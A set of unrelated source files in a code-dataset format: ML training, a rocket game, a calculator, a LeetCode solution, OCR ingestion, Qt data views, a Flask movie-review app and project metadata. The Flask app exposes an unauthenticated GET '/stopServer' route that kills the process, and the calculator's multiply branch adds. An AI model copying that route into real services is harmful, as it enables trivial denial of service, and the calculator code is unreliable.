-tf.reduce_sum(tf.multiply(x_sample_num_tile,tf.log(1e-10+x_decode)) + tf.multiply((1.0-x_sample_num_tile),tf.log(1.0-x_decode+1e-10)),name='sum_recon_loss', axis=1)\n\treconstruction = tf.cast(reconstruction, tf.float64)\n\tsplit_recon = tf.split(reconstruction, num_or_size_splits=tf.scalar_mul(number_samples,sequence_sizes_placeholder), axis=0)\n\tfor i, sequence in enumerate(split_recon):\n\t\tsplit_recon[i] = tf.transpose(tf.reshape(sequence, [number_samples,-1]))\n\trow_sample_recon = tf.concat(split_recon, axis=0)\n\trow_sample_recon_mean = tf.reduce_mean(row_sample_recon, 1)\n\tsum_recon_loss = tf.reduce_sum(row_sample_recon_mean, name='sum_recon_loss')\n\n\tbeta = tf.placeholder(tf.float64, [])\n\tbeta_value = 1.0\n\tloss = tf.add(sum_recon_loss, (beta*sum_gp_kl), name='loss') \n\ttrain_step = tf.train.AdamOptimizer(2e-4).minimize(loss)\n\tlogs_path = './Full_GP_models/'\n\tmodel_path = logs_path + 'gp_model'\n\twrite = tf.summary.FileWriter(logs_path, graph=tf.get_default_graph())\n\n\tsteps = 5000000\n\twith tf.Session() as sess:\n\t\tMovingMnist.make_discrete(MovingMnist.datasets['train'][0])\n\t\tMovingMnist.make_discrete(MovingMnist.datasets['test'][0])\n\t\tsess.run(tf.global_variables_initializer())\n\t\ttrain_losses = [['Step', 'Reconstruction loss', 'KL loss']]\n\t\ttest_losses = [['Step', 'Reconstruction loss', 'KL loss']]\n\t\t#make a saver to save the graph \n\t\tsaver = tf.train.Saver()\n\t\tfor i in range(steps):\n\t\t\tbatch_xs, batch_time_steps, batch_lengths = MovingMnist.data_batch('train')\n\t\t\tinputs = {x:batch_xs, sequences:batch_time_steps, sequence_sizes_placeholder:batch_lengths, beta:beta_value}\n\t\t\ttrain_step.run(feed_dict=inputs)\n\t\t\tif i % 500 == 0:\n\t\t\t\tstep_losses = []\n\t\t\t\tstep_losses.append(str(i))\n\t\t\t\tstep_losses.append(str(sum_recon_loss.eval(feed_dict=inputs)))\n\t\t\t\tstep_losses.append(str(sum_gp_kl.eval(feed_dict=inputs)))\n\t\t\t\ttrain_losses.append(step_losses)\n\t\t\tif i % 10000 == 0:\n\t\t\t\tbatch_xs, batch_time_steps, batch_lengths = MovingMnist.data_batch('test')\n\t\t\t\tinputs = {x:batch_xs, sequences:batch_time_steps, sequence_sizes_placeholder:batch_lengths, beta:beta_value}\n\n\t\t\t\tlarge_image = np.zeros((64, 64*20))\n\t\t\t\tbatch = np.reshape(batch_xs, [-1,64,64])\n\t\t\t\tfor j in range(20):\n\t\t\t\t\tlarge_image[:, j * 64: (j + 1) * 64] = batch[j,:,:]\n\t\t\t\tplt.imshow(large_image)\n\t\t\t\tplt.savefig('./Full_GP_models/input_sequence_%d.png' %(i))\n\t\t\t\tplt.gcf().clear()\n\n\t\t\t\ttest_step_losses = []\n\t\t\t\ttest_step_losses.append(str(i))\n\t\t\t\ttest_step_losses.append(str(sum_recon_loss.eval(feed_dict=inputs)))\n\t\t\t\ttest_step_losses.append(str(sum_gp_kl.eval(feed_dict=inputs)))\n\t\t\t\ttest_losses.append(test_step_losses)\n\n\t\t\t\ttest = x_decode.eval(feed_dict=inputs)\n\t\t\t\ttest = np.reshape(test, [-1,64,64])\n\t\t\t\tlarge_image = np.zeros((64, 64*20))\n\t\t\t\tfor j in range(20):\n\t\t\t\t\tlarge_image[:, j * 64: (j + 1) * 64] = test[j,:,:]\n\t\t\t\tplt.imshow(large_image)\n\t\t\t\tplt.savefig('./Full_GP_models/output_sequence_%d.png' %(i))\n\t\t\t\tplt.gcf().clear()\n\n\t\t\tif i % 25000 == 0:\n\t\t\t\tsaver.save(sess, model_path, global_step=i)\n\t\t\t\twrite_file(train_losses, i)\n\t\t\t\twrite_file(test_losses, i, type='test')\n\nif __name__ == '__main__':\n\tmain()","sub_path":"src/Models/Full_GP_VAE_dynamic_time.py","file_name":"Full_GP_VAE_dynamic_time.py","file_ext":"py","file_size_in_byte":18774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"554550488","text":"from processing_py import *\r\nfrom scene import Scene\r\nfrom rocket import Rocket\r\nfrom controller import RocketController\r\nfrom FNN import ControllerNetwork\r\n\r\nfrom datetime import datetime\r\n\r\n\r\n\"\"\"\r\nWelcome to the rocket simulation!\r\nTry and land the virtual rocket on the red pad.\r\nDon't fall to hard or tilt too much though!\r\n\r\nFirst, change you name on line 37!\r\n\r\nUse these keys to control the rocket:\r\n\tKEY -> BEHAVIOUR\r\n\t'w' -> Turn engine on\r\n\t' ' -> Turn engine off \r\n\t's' -> Stop rotation\r\n\t'a' -> Rotate anticlockwise (turn left)\r\n\t'd' -> Rotate anticlockwise (turn right)\r\n\t'r' -> Reset all values of rocket (pos, vel, acc)\r\n\r\nYou can play another game directly by pressing 'r'.\r\nRight after you land, the target is reset, so don't worry\r\nif it suddenly jumps away, your success/failure was duly recorded.\r\n\r\nYou can just close the pop up panel when you are done playing.\r\n\r\nThanks for playing!\r\n\"\"\"\r\n\r\n##### CHANGE YOUR NAME HERE #####\r\n\r\nplayer_name = 'satchit'\r\n\r\nsubdir = 'saved_runs'\r\n\r\nscene = Scene(1000, 1000)\r\nrocket = Rocket(scene, start_pos='random')\r\ncontroller = RocketController(rocket, physical_control=True)\r\n\r\nsaved_data = False\r\n\r\nwhile(True):\r\n\r\n\tif rocket.is_dead:\r\n\t\tif not saved_data:\r\n\t\t\tprint('Rocket has landed!')\r\n\t\t\tprint(f'Landing was a {\"success\" if rocket.check_success() else \"failure\"}!')\r\n\r\n\t\t\tcur_time = datetime.now()\r\n\t\t\ttest_time = cur_time.strftime('%Y%m%dT%H%M%S')\r\n\t\t\tcontroller.save_to_file(f'{subdir}/{player_name}_save_{test_time}.csv')\r\n\t\t\t\r\n\t\t\tsaved_data = True\r\n\r\n\tcontroller.control()\r\n\trocket.update()\r\n\r\n\tif len(controller.physical_history)>=1 and not rocket.is_dead:\r\n\t\tsaved_data = False\r\n\r\n\t\t\t\r\n\tscene.draw()","sub_path":"RocketSimulation/rocket_sim.py","file_name":"rocket_sim.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214517428","text":"loop=False\nwhile not loop:\n def calc(num1,symbol,num2):\n result=0\n if symbol==\"+\":\n result=num1+num2\n print(f\"The Result is: {num1}\"+\" + \"+f\"{num2}\"+\" = \"+f\"{result}\\n\")\n elif symbol==\"-\":\n result=num1-num2\n print(f\"The Result is: {num1}\"+\" - \"+f\"{num2}\"+\" = \"+f\"{result}\\n\")\n elif symbol==\"*\":\n result=num1+num2\n print(f\"The Result is: {num1}\"+\" * \"+f\"{num2}\"+\" = \"+f\"{result}\\n\")\n elif symbol==\"/\":\n result=num1/num2\n print(f\"The Result is: {num1}\"+\" / \"+f\"{num2}\"+\" = \"+f\"{result}\\n\")\n else:\n print(\"Invalid\")\n\n num1=int(input(\"What is your first number:\\n\"))\n symbol=str(input(\"You want to do:\\n+\\n-\\n*\\n/\\n\"))\n num2=int(input(\"What is your second number:\\n\"))\n calc(num1,symbol,num2)\n last=input(\"Do you want to continue y or n:\\n\")\n if last==\"n\":\n loop=True\n elif last==\"y\":\n loop=False\n else:\n print(\"Error\")\n loop=True\n","sub_path":"calculator/Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"107787103","text":"from typing import List\n\n\nclass Solution:\n m = 0\n n = 0\n\n def find_word(self, board, marker, word, i, j, k):\n if i < 0 or i >= self.m:\n return False\n\n if j < 0 or j >= self.n:\n return False\n\n if marker[i][j] == 1:\n return False\n\n if board[i][j] != word[k]:\n return False\n\n if k == len(word) - 1:\n return True\n\n marker[i][j] = 1\n if self.find_word(board, marker, word, i + 1, j, k + 1):\n return True\n if self.find_word(board, marker, word, i - 1, j, k + 1):\n return True\n if self.find_word(board, marker, word, i, j + 1, k + 1):\n return True\n if self.find_word(board, marker, word, i, j - 1, k + 1):\n return True\n\n marker[i][j] = 0\n return False\n\n def exist(self, board: List[List[str]], word: str) -> bool:\n self.m = len(board)\n self.n = len(board[0])\n marker = [[0] * self.n for _ in range(self.m)]\n for i in range(0, self.m):\n for j in range(0, self.n):\n if self.find_word(board, marker, word, i, j, 0):\n return True\n return False\n\n\nif __name__ == \"__main__\":\n s = Solution()\n\n board = [\n ['A', 'B', 'C', 'E'],\n ['S', 'F', 'C', 'S'],\n ['A', 'D', 'E', 'E']\n ]\n\n word = \"ABCCED\"\n # word = \"SEE\"\n # word = \"ABCB\"\n\n print(s.exist(board, word))\n","sub_path":"p79.py","file_name":"p79.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"564582929","text":"\n\ndetalhes = {'Iniciativa Vingadores': [['Iniciativa Vingadores','25/04/1995','18/01/2010']],\n 'Fisioculturismo': [['Arnold Ohio','05/05/2018','5/5/2024']],\n 'Bia Vlogs':[['Bia Vlogs','11/05/2018','20/08/19']]}\n\ndetativ={'Iniciativa Vingadores':[['Os Vingadores','A Iniciativa Vingadores '\n 'foi um projeto secreto criado pela S.H.I.E.L.D.'\n ' para criar os Vingadores, um time composto de seres'\n ' poderosos que responderiam a quaisquer ameaças globais '\n 'que sejam grandes demais para serem lidadas na Terra. ','25/04/1995 - 18/01/2010','Nicholas J. Fury']],\n 'Fisioculturismo':[['Fisiocultismo Arnold Ohio','O projeto Arnold Classic Ohio consiste em bastante treino,dieta e dedicação.'\n 'Para o torneio de fisioculturismo em Columbus Ohio em 2024, O competidor será treinado'\n 'por Sheviii2k é claro, que possui: 2 arnolds, 3 norte-nordeste, 3 soletrando, 5 lata velhas, 1 campeonato cearense formando dupla de ataque,'\n ' 11 GlaDoS, 4 taça das favelas, 3 interocntinetal de sinuca, 2 trófeu imprensa'\n ', 5 filmes do velozes e furiosos e etc...','05/05/2018 - 05/05/2024','Sheviii2k']],\n\n 'Bia Vlogs':[['Bia Vlogs','blablablablablablablabalblablablablablabla'\n 'blablablabla blablablablabla blablablablabla bla'\n 'blablablabla blablablablabla blablablablabla bla'\n 'blablablabla blablablablabla blablablablabla bla'\n 'blablablabla blablablablabla blablablablabla bla','11/05/2018 - 20/08/2019','Boca Rosa']]}\n\n\n\ndef get_detalhes(disciplina):\n return detalhes[disciplina]\n\ndef get_detativ(deta):\n return detativ[deta]\n","sub_path":"bdsimulado.py","file_name":"bdsimulado.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"470093565","text":"from app.nlp import get_entities\nfrom app.box_wrapper import BoxWrapper\nfrom app.ocr import ocr\nfrom app.data import Data\n\nbox = BoxWrapper()\n\n\ndef update_csv(completed_type, completed_id):\n with open('inserted.csv', 'a') as f:\n f.write(f\"{completed_type},{completed_id}\\n\")\n\n\ndef get_finished():\n finished_dict = {}\n with open('inserted.csv', 'r') as f:\n lines = f.readlines()\n for line in lines:\n if ',' not in line:\n continue\n item_type, item_id = line.rstrip().split(\",\")\n if item_type == \"file\" or item_type == \"folder_complete\":\n finished_dict[item_id] = 1\n else:\n finished_dict[item_id] = 0\n return finished_dict\n\n\ndef iterate_main_folder():\n files, folders = box.items_in_folder()\n finished = get_finished()\n for fold in folders:\n iterate_folder_items(fold.id, finished)\n\n\ndef iterate_folder_items(folder_id, finished):\n if folder_id in finished.keys():\n if finished[folder_id] == 1:\n print(\"Closed folder: \" + folder_id)\n return\n\n files, folders = box.items_in_folder(folder_id)\n update_csv(\"folder_in_progress\", folder_id)\n print(\"Working on folder: \" + folder_id)\n for fold in folders:\n iterate_folder_items(fold['id'], finished)\n for fil in files:\n insert_record(fil['id'], finished)\n update_csv(\"folder_complete\", folder_id)\n print(\"Completed folder: \" + folder_id)\n\n\ndef insert_record(file_id, finished):\n if file_id in finished.keys():\n print(\"Closed File: \" + file_id)\n return\n info = box.get_file_info(file_id)\n if info[\"ext\"] != \"pdf\":\n return\n\n print(\"inserting file: \" + file_id)\n record = {\n 'id': info['id'],\n 'name': info['name'],\n 'path': info['path'],\n 'url': info['url'],\n 'raw_text': ocr(box.download_file(file_id), dpi=150)\n }\n\n record['tags'] = get_entities(record['raw_text'])\n\n db = Data()\n\n db.insert([record])\n update_csv(\"file\", file_id)\n return\n\n\nif __name__ == '__main__':\n fin = get_finished()\n iterate_folder_items('2761659211', finished=fin)\n","sub_path":"app/insert_data.py","file_name":"insert_data.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"43549553","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/qtalchemy/ext/dataviews.py\n# Compiled at: 2012-11-17 08:29:05\nfrom qtalchemy import *\nfrom qtalchemy.widgets import *\nfrom PySide import QtCore, QtGui\nfrom sqlalchemy.orm import Query\nimport sqlalchemy.sql.expression as expr\n\nclass QueryManager(ModelObject):\n \"\"\"\n Abstract base class for QueryManager classes.\n \"\"\"\n\n def objectConverter(self, obj):\n \"\"\"\n Return the key value from the passed obj. This function is passed as\n the callable to the :class:`qtalchemy.QueryTableModel` which is in the\n :class:`QueryDataView`.\n \"\"\"\n pass\n\n def fillQueryLayout(self, layout):\n \"\"\"\n This function is called to give the manager a chance to create the\n widgets which let the user input query selections.\n \n :param layout: a QLayout object to receive the input elements.\n \n The helper functions :func:`qtalchemy.LayoutLayout` and\n :func:`qtalchemy.LayoutWidget` are often helpful here.\n \n The return value is the widget that should be the focus proxy for the\n enclosing :class:`QueryDataView`.\n \"\"\"\n pass\n\n def requery(self):\n \"\"\"\n This function uses the input objects in constructed in\n :func:`fillQueryLayout` to construct a sqlalchemy.orm.Query object\n which will be associated with a session and queried by the\n :class:`QueryDataView`.\n \"\"\"\n pass\n\n\nclass BasicQueryManager(QueryManager):\n \"\"\"\n This is the most basic useful override of :class:`QueryManager` possible.\n It returns a query with the cols specified in the list of column names\n cols.\n \n :param cls: a sqlalchemy mapped class\n :param keyAttr: the primary key attribute name for cls\n :param cols: a list of attribute names desired in the view\n \"\"\"\n\n def __init__(self, cls, keyAttr, cols):\n self.cls = cls\n self.keyAttr = keyAttr\n self.cols = cols\n self.sort_col = None\n self.sort_order = QtCore.Qt.AscendingOrder\n return\n\n def objectConverter(self, obj):\n return getattr(obj, self.keyAttr)\n\n def sortChange(self, colIndex, order):\n self.sort_col = self.cols[colIndex]\n self.sort_order = order\n\n def sortOrder(self):\n try:\n return (self.cols.index(self.sort_col), self.sort_order)\n except:\n return (\n -1, self.sort_order)\n\n def fillQueryLayout(self, layout):\n return\n\n def requery(self):\n cols = [ getattr(self.cls, c) for c in [self.keyAttr] + self.cols ]\n q = Query(cols)\n if self.sort_col is not None:\n sorts = {QtCore.Qt.DescendingOrder: expr.desc, QtCore.Qt.AscendingOrder: expr.asc}\n f = sorts[self.sort_order]\n q = q.order_by(f(getattr(self.cls, self.sort_col)))\n return q\n\n\nclass QueryDataView(QtGui.QWidget):\n \"\"\"\n A QueryDataView displays a flexible interface element showing items in a\n tabular view. The main flexibility of QueryDataView arises from queryMgr\n which is an instance of :class:`QueryManager`. This object queryMgr can\n add an arbitrary collection of input widgets for user query parameters.\n The queryMgr is responsible for returning a sqlalchemy Query object back to\n the QueryDataView to display.\n \n :param parent: a parent window (optionally pass as None)\n :param Session: a session creator\n :param entityCls: a command holding class from which the attributes in\n commandSets are taken\n :param commandSets: a list of :class:`qtalchemy.CommandMenu` attributes in\n the entityCls\n :param queryMgr: an instance of a :class:`QueryManager` class.\n\n >>> from sqlalchemy import Table, Column, String, Integer, MetaData, create_engine\n >>> from sqlalchemy.ext.declarative import declarative_base\n >>> \n >>> from qtalchemy import *\n >>> from qtalchemy.ext.dataviews import *\n >>> from PySide import QtCore, QtGui\n >>> \n >>> metadata = MetaData()\n >>> Base = declarative_base(metadata=metadata, cls=ModelObject)\n >>> \n >>> class People(Base):\n ... __table__ = Table('people', metadata,\n ... Column('id', Integer, primary_key=True),\n ... Column('f_name', String(50), info={\"label\": \"First Name\"}),\n ... Column('l_name', String(50), info={\"label\": \"Last Name\"}),\n ... Column('title', String(10), info={\"label\": \"Title\"}))\n ... \n >>> class PeopleCommands(object):\n ... def __init__(self, Session, parent):\n ... pass\n ...\n >>> engine = create_engine(\"sqlite://\")\n >>> metadata.bind = engine\n >>> metadata.create_all()\n >>> Session = PBSessionMaker(bind=engine)\n >>> \n >>> app = qtapp()\n >>> view = QueryDataView(None, Session, PeopleCommands, [],\n ... BasicQueryManager(People, \"id\",\n ... \"f_name l_name title\".split(' ')))\n \"\"\"\n\n def __init__(self, parent, Session, entityCls, commandSets, queryMgr):\n QtGui.QWidget.__init__(self, parent)\n self.Session = Session\n self.entity = entityCls(Session, parent)\n self.queryManager = queryMgr\n self.setObjectName(('{0}_{1}').format(self.entity.__class__.__name__, self.queryManager.__class__.__name__))\n layout = QtGui.QVBoxLayout()\n self.setLayout(layout)\n self.toolbar = LayoutWidget(layout, QtGui.QToolBar(self))\n self.toolbar.setFocusPolicy(QtCore.Qt.NoFocus)\n x = LayoutLayout(layout, QtGui.QHBoxLayout())\n self.setFocusProxy(self.queryManager.fillQueryLayout(x))\n self.refreshBtn = LayoutWidget(x, QtGui.QPushButton('Refresh'))\n self.table = LayoutWidget(layout, TableView())\n if hasattr(self.queryManager, 'sortChange'):\n self.table.setSortingEnabled(True)\n self.table.horizontalHeader().setSortIndicatorShown(True)\n self.table.horizontalHeader().sortIndicatorChanged.connect(self.queryManager.sortChange)\n self.table.horizontalHeader().sortIndicatorChanged.connect(lambda col, order: self.refresh())\n self.table.horizontalHeader().setSortIndicator(*self.queryManager.sortOrder())\n self.table.setModel(QueryTableModel(self.queryManager.requery(), ssrc=self.Session, objectConverter=self.queryManager.objectConverter), extensionId=suffixExtId(self, 'Table'))\n self.refreshBtn.clicked.connect(self.refresh)\n self.bindings = [ getattr(self.entity, c) for c in commandSets ]\n self.bindings = [ b.withView(self.table, bindDefault=True) for b in self.bindings ]\n for i in range(len(self.bindings)):\n if i > 0:\n self.toolbar.addSeparator()\n self.bindings[i].fillToolbar(self.toolbar)\n self.bindings[i].preCommand.connect(self.preCommand)\n self.bindings[i].refresh.connect(self.refresh)\n\n self.refresh()\n\n def keyPressEvent(self, e):\n if e.key() == QtCore.Qt.Key_Return or e.key() == QtCore.Qt.Key_Enter:\n self.refresh()\n e.accept()\n elif e.key() == QtCore.Qt.Key_Down:\n self.table.setFocus(QtCore.Qt.TabFocusReason)\n e.accept()\n else:\n QtGui.QWidget.keyPressEvent(self, e)\n\n def preCommand(self):\n pass\n\n def refresh(self):\n if self.table.model() is not None:\n self.table.model().query = self.queryManager.requery()\n self.table.model().reset_content_from_session()\n return","sub_path":"pycfiles/qtalchemy-0.8.3-py2.7/dataviews.py","file_name":"dataviews.py","file_ext":"py","file_size_in_byte":7773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"258141730","text":"from flask import render_template, redirect, url_for, request\n\nfrom flask import Flask, jsonify, request\nimport json, os, signal\n\nfrom application import app, db\nfrom application.models import Movies, Review\nfrom application.forms import MoviesForm, ReviewForm\n\n@app.route('/', methods= ['POST', 'GET'])\ndef index():\n all_movies = Movies.query.all()\n return render_template('index.html', all_movies=all_movies)\n\n@app.route('/add', methods= ['GET', 'POST'])\ndef add():\n form = MoviesForm()\n if form.validate_on_submit():\n new_movie = Movies(name=form.name.data)\n db.session.add(new_movie)\n db.session.commit()\n return redirect(url_for('index'))\n return render_template('add.html', form=form)\n\n@app.route('/update/', methods= ['GET', 'POST'])\ndef update(idnum):\n form = MoviesForm()\n movies_update = Movies.query.get(idnum)\n if form.validate_on_submit():\n movies_update.name = form.name.data\n db.session.commit()\n return redirect(url_for('index'))\n return render_template('update.html', form=form)\n\n@app.route('/delete/')\ndef delete(idnum):\n movies_delete = Movies.query.get(idnum)\n db.session.delete(movies_delete)\n db.session.commit()\n return redirect(url_for('index'))\n\n@app.route('/add_review/', methods= ['GET', 'POST'])\ndef add_review(idnum):\n form = ReviewForm()\n if form.validate_on_submit():\n new_review = Review(rev=form.rev.data, rating=form.rating.data, movies_id=idnum)\n db.session.add(new_review)\n db.session.commit()\n return redirect(url_for('reviews', idnum=idnum))\n return render_template('add_review.html', form=form, movies= Movies.query.get(idnum))\n\n@app.route('/reviews/', methods=['GET', 'POST'])\ndef reviews(idnum):\n reviews = Review.query.filter_by(movies_id=idnum).all()\n return render_template ('reviews.html', reviews=reviews)\n\n@app.route('/stopServer', methods=['GET'])\ndef stopServer():\n os.kill(os.getpid(), signal.SIGINT)\n return jsonify({ \"success\": True, \"message\": \"Server is shutting down...\" })\n","sub_path":"application/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331006613","text":"\"\"\"This module provides several classes which are used to expose meta data\ndescribing this project.\"\"\"\nimport shutil\nimport filecmp\nimport os\nimport sys\nimport importlib\nimport json\n\n# Infer the name of this package from the path of __file__\npackage_parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))\npackage_root_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\npackage_name = os.path.basename(package_root_dir)\n\n# Make sure that what's in this path takes precedence\n# over an installed version of the project\nsys.path.insert(0, package_parent_dir)\n\n# Import the current package\nthis_pkg = importlib.import_module(package_name)\n\n# Import the internal package-helper package\n_internal = importlib.import_module(package_name + '._internal')\n_pkg = importlib.import_module(package_name + '._internal.package')\n\n\nclass project:\n \"\"\"This class yields an object which exposes the parameters describing this\n project.\"\"\"\n\n def __init__(self, path_call, verbosity=True):\n \"\"\"\n :param path_call: this needs to be the FULL (i.e. absolute) path to a file or directory living somewhere in the package\n \"\"\"\n\n # Set verbosity of log for this function call\n this_pkg.log.set_verbosity(verbosity=verbosity)\n\n # Store the path_call\n self.path_call = path_call\n\n # Assume this filename for the project file\n self.filename_project_filename = '.project.json'\n self.filename_auxiliary_filename = '.project_aux.json'\n\n # First, assume the path we have been passed is a package directory and look for\n # 'setup.py' as the place where the project files should be.\n path_package = this_pkg.find_in_parent_path(self.path_call, 'setup.py', check=False)\n # ... else, scan for the project's copy. Fail if not found.\n if(not path_package):\n path_package = this_pkg.find_in_parent_path(self.path_call, self.filename_project_filename)\n\n # With the path found, set the project filenames\n self.filename_project_file = os.path.join(path_package, self.filename_project_filename)\n self.filename_auxiliary_file = os.path.abspath(\n os.path.join(\n os.path.dirname(\n self.filename_project_file),\n self.filename_auxiliary_filename))\n\n # Determine if we are in a project repository. If we are, check that there is a .project.json file.\n # Assume we are in an installed environment if a project file is not found with the\n # repository. This can happen for an executable installed in a Python environment installed\n # in the path of a git repository, for example.\n path_project = this_pkg.find_in_parent_path(self.path_call, '.git', check=False)\n if(path_project and os.path.exists(os.path.join(path_project, self.filename_project_filename))):\n self.path_project_root = path_project\n self.filename_project_file_source = os.path.normpath(\n os.path.join(self.path_project_root, self.filename_project_filename))\n # ... else set to None. Assume we are in an installed environment.\n else:\n self.path_project_root = None\n self.filename_project_file_source = None\n this_pkg.log.comment(\"Installed environment will be assumed.\")\n\n # Read the project file\n with open_project_file(self) as file_in:\n self.params = file_in.load()\n\n # Load meta data of Python packages\n self.packages = []\n for package_name in self.params['python_packages']:\n package_setup_py = os.path.abspath(os.path.join(self.params['dir_python'], package_name, 'setup.py'))\n self.packages.append(_pkg.package(os.path.abspath(package_setup_py)))\n\n # Return the stream verbosity to its previous state\n this_pkg.log.unset_verbosity()\n\n def add_packages_to_path(self):\n \"\"\"Import all the python packages belonging to this project.\n\n :return: None\n \"\"\"\n dir_file = os.path.abspath(self.path_project_root)\n count = 0\n for (directory, directories, filenames) in os.walk(dir_file):\n for filename in filenames:\n if(filename == \"setup.py\"):\n path_package = os.path.abspath(directory)\n sys.path.insert(0, path_package)\n count += 1\n break\n return count\n\n def __str__(self):\n \"\"\"Convert dictionary of project parameters to a string.\n\n :return: string\n \"\"\"\n result = \"Project information:\\n\"\n result += \"--------------------\\n\"\n for k, v in sorted(self.params.items()):\n result += ' ' + k + \" = \" + str(v) + '\\n'\n\n return result\n\n\nclass project_file():\n \"\"\"Class for reading and writing project .json files.\n\n Intended to be used with the `open_project_file` context manager.\n \"\"\"\n\n def __init__(self, project):\n \"\"\"\n :param project: An instance of the `project` class\n \"\"\"\n\n # Keep a record of inputs\n self.project = project\n\n # File pointer\n self.fp_prj = None\n self.fp_aux = None\n\n # Update the project file\n self.update()\n\n def update(self):\n \"\"\"Update the project file stored in a Python package's path.\n\n This needs to be done because when the package is installed in a virtual environment, for example, the\n directory structure that the path is sitting in could be anywhere, and access to the original project\n .json file can not be assured. Hence, we make sure that every package has it's own up-to-date copy.\n\n :return: None\n \"\"\"\n\n # Check if we are inside a project repository...\n if(self.project.path_project_root):\n # ... if so, update the package's copy of the project file. This is needed because if\n # this is being run from an installed package, then there is no access to files outside\n # of the package, and we need to work with an up-to-date copy instead.\n this_pkg.log.open(\"Validating package's project files...\")\n try:\n flag_update = False\n if(not os.path.isfile(self.project.filename_project_file)):\n flag_update = True\n elif(not filecmp.cmp(self.project.filename_project_file_source, self.project.filename_project_file)):\n flag_update = True\n if(flag_update):\n # Make a copy of the project file\n shutil.copy2(self.project.filename_project_file_source, self.project.filename_project_file)\n this_pkg.log.close(\"Updated.\")\n else:\n this_pkg.log.close(\"Up-to-date.\")\n except BaseException:\n this_pkg.log.error(Exception(\"Could not update package's project file.\"))\n\n # Create a dictionary of a bunch of auxiliary project information\n\n # Set some project directories\n aux_params = []\n aux_params.append({'dir_docs': os.path.abspath(os.path.join(self.project.path_project_root, \"docs\"))})\n aux_params.append({'dir_docs_api_src': os.path.abspath(\n os.path.join(self.project.path_project_root, \"docs/src\"))})\n aux_params.append({'dir_docs_build': os.path.abspath(\n os.path.join(self.project.path_project_root, \"docs/_build\"))})\n aux_params.append({'dir_python': os.path.abspath(os.path.join(self.project.path_project_root, \"python\"))})\n\n # Get a list of python packages\n python_path = aux_params[-1]['dir_python']\n python_path_dirs = os.listdir(python_path)\n python_pkgs = []\n for python_path_dir_i in python_path_dirs:\n if(python_path_dir_i != 'build' and python_path_dir_i != '_build'):\n python_pkgs.append(python_path_dir_i)\n aux_params.append({'python_packages': python_pkgs})\n\n # Check if this is a C-project (the appropriate makefile will be present if so)\n if(os.path.isfile(os.path.join(self.project.path_project_root, \".Makefile-c\"))):\n aux_params.append({'is_C_project': True})\n else:\n aux_params.append({'is_C_project': False})\n\n # Check if this is a Python-project (the appropriate makefile will be present if so)\n if(os.path.isfile(os.path.join(self.project.path_project_root, \".Makefile-py\"))):\n aux_params.append({'is_Python_project': True})\n else:\n aux_params.append({'is_Python_project': False})\n\n # Extract version & release from .version file.\n try:\n with open(\"%s/.version\" % (self.project.path_project_root), \"r\") as fp_in:\n version_string_source = str(fp_in.readline()).strip('\\n')\n aux_params.append({'version': version_string_source})\n except BaseException:\n this_pkg.log.comment(\"Project '.version' file not found. Setting version='unset'\")\n aux_params.append({'version': 'unset'})\n\n # TODO: Need to split version from release.\n aux_params.append({'release': version_string_source})\n\n # Write auxiliary parameters file\n with open(self.project.filename_auxiliary_file, 'w') as outfile:\n json.dump(aux_params, outfile, indent=3)\n\n def open(self):\n \"\"\"Open the project .json file. Intended to be accessed through the\n `open_project_file` class using a `with` block.\n\n :return: None\n \"\"\"\n try:\n self.fp_prj = open(self.project.filename_project_file)\n self.fp_aux = open(self.project.filename_auxiliary_file)\n except BaseException:\n this_pkg.log.error(Exception(\"Could not open project file {%s}.\" % (self.project.filename)))\n raise\n\n def close(self):\n \"\"\"Close the project .json file.\n\n :return: None\n \"\"\"\n try:\n if(self.fp_prj is not None):\n self.fp_prj.close()\n if(self.fp_aux is not None):\n self.fp_aux.close()\n except BaseException:\n this_pkg.log.error(Exception(\"Could not close project file {%s}.\" % (self.project.filename)))\n raise\n\n def load(self):\n \"\"\"Load the project .json file.\n\n :return: None\n \"\"\"\n params_list = []\n params_list.extend(json.load(self.fp_prj, object_hook=_internal.ascii_encode_dict))\n params_list.extend(json.load(self.fp_aux, object_hook=_internal.ascii_encode_dict))\n try:\n # Add a few extra things\n params_list.extend([{'path_project_root': self.project.path_project_root}])\n except BaseException:\n this_pkg.log.error(Exception(\"Could not load project file {%s}.\" % (self.project.filename)))\n raise\n finally:\n return {k: v for d in params_list for k, v in d.items()}\n\n\nclass open_project_file:\n \"\"\"Context manager for reading a project .json files.\n\n Intended for use with a `with` block.\n \"\"\"\n\n def __init__(self, project):\n \"\"\"Create an instance of the `open_project_file` context manager.\n\n :param project: An instance of the `project` class.\n \"\"\"\n self.project = project\n\n def __enter__(self):\n \"\"\"Open the project .json file when entering the context.\n\n :return: file pointer\n \"\"\"\n # Open the package's copy of the file\n this_pkg.log.open(\"Opening project...\")\n try:\n self.file_in = project_file(self.project)\n self.file_in.open()\n except BaseException:\n this_pkg.log.error(Exception(\"Could not open project file.\"))\n raise\n finally:\n this_pkg.log.close(\"Done.\")\n return self.file_in\n\n def __exit__(self, *exc):\n \"\"\"Close the project .json file when exiting the context.\n\n :param exc: Context expression arguments.\n :return: False\n \"\"\"\n if(self.file_in):\n self.file_in.close()\n return 